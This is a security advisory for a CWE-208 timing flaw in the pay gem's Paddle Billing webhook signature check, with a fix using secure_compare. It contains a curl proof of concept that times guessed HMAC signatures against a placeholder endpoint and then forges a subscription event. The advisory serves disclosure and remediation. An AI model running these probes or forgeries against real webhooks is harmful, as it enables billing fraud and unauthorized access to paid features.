high · 7.4Jul 1, 2026

pay: Paddle Billing Webhook Signature Timing Oracle (CWE-208)

Rohit Hatagale
AI Security Researcher, SecureLayer7

The pay gem compared Paddle Billing webhook signatures with Ruby's non-constant-time == operator, letting an attacker recover the real HMAC byte-by-byte from response-time differences and forge arbitr

Packagepay
Ecosystemrubygems
Affected<= 11.6.1

The problem

In pay <= 11.6.1, the method `Pay::Webhooks::PaddleBillingController#valid_signature?` computes an HMAC-SHA256 over the raw webhook body and then compares it to the attacker-supplied `h1=` token from the `Paddle-Signature` header using plain Ruby `String#==`.

Ruby's `==` (MRI `rb_str_equal`) short-circuits on the first mismatching byte. Because the endpoint is internet-reachable by design (Paddle must POST events to it), an attacker can probe it with guessed signatures and use response-time distributions to recover the real hex digest one byte at a time.

A fully recovered signature lets the attacker deliver forged webhook events (`subscription.created`, `transaction.completed`, etc.) that trigger `Pay::Webhooks::ProcessJob`, which downstream apps use to provision paid features and record refunds.

Proof of concept

A working proof-of-concept for this issue in pay, with the exact payload below.

bash
# Timing oracle: send two probes and compare response times.
# A longer avg time on the second request confirms the first hex char matches.

WEBHOOK="http://target.example.com/pay/webhooks/paddle_billing"
BODY='{"event_type":"transaction.completed","data":{}}'
TS=$(date +%s)

# Probe 1: fully wrong prefix  (0000...)
curl -s -w '%{time_total}\n' -o /dev/null \
  -X POST \
  -H "Paddle-Signature: ts=$TS;h1=0000000000000000000000000000000000000000000000000000000000000000" \
  -H 'Content-Type: application/json' \
  -d "$BODY" "$WEBHOOK"

# Probe 2: first char matches real HMAC prefix (e.g. 'a')
# If avg(Probe 2) > avg(Probe 1), 'a' is the correct first byte.
curl -s -w '%{time_total}\n' -o /dev/null \
  -X POST \
  -H "Paddle-Signature: ts=$TS;h1=a000000000000000000000000000000000000000000000000000000000000000" \
  -H 'Content-Type: application/json' \
  -d "$BODY" "$WEBHOOK"

# Repeat across all 16 candidates per position (0-9, a-f) for all 64 hex chars.
# Once all 64 chars are recovered, forge a real event:
curl -s -X POST \
  -H "Paddle-Signature: ts=$TS;h1=<recovered_64_char_hmac>" \
  -H 'Content-Type: application/json' \
  -d '{"event_type":"subscription.created","data":{"id":"sub_fake","status":"active"}}' \
  "$WEBHOOK"

The root cause is a single line in `paddle_billing_controller.rb`: `hmac == h1`. Ruby's `String#==` exits at the first byte that differs, so a 64-char hex digest leaks timing information for every position. An attacker who can send enough probes per candidate byte can statistically resolve the correct nibble from the response-time distribution, recovering the full digest without knowing the signing secret.

The patch (suggested in the advisory) replaces the bare `==` with `ActiveSupport::SecurityUtils.secure_compare`, which XORs all bytes unconditionally and only inspects the result at the end. A length-equality guard (`hmac.bytesize != h1.bytesize`) is added first so that short inputs cannot cause the fallback `==` path that older Rails versions used inside `secure_compare`.

This is the standard CWE-208 fix for any secret-comparison path.

The fix

Upgrade the `pay` gem to a version that includes the `secure_compare` patch (any release after 11.6.1). Until a patched gem is published, monkey-patch `valid_signature?` in an initializer to use `ActiveSupport::SecurityUtils.secure_compare(hmac, h1)` with a prior bytesize equality check.

Never use `==` to compare attacker-controlled values against secrets.

Reported by tonghuaroot.

References: [1][2]

Related research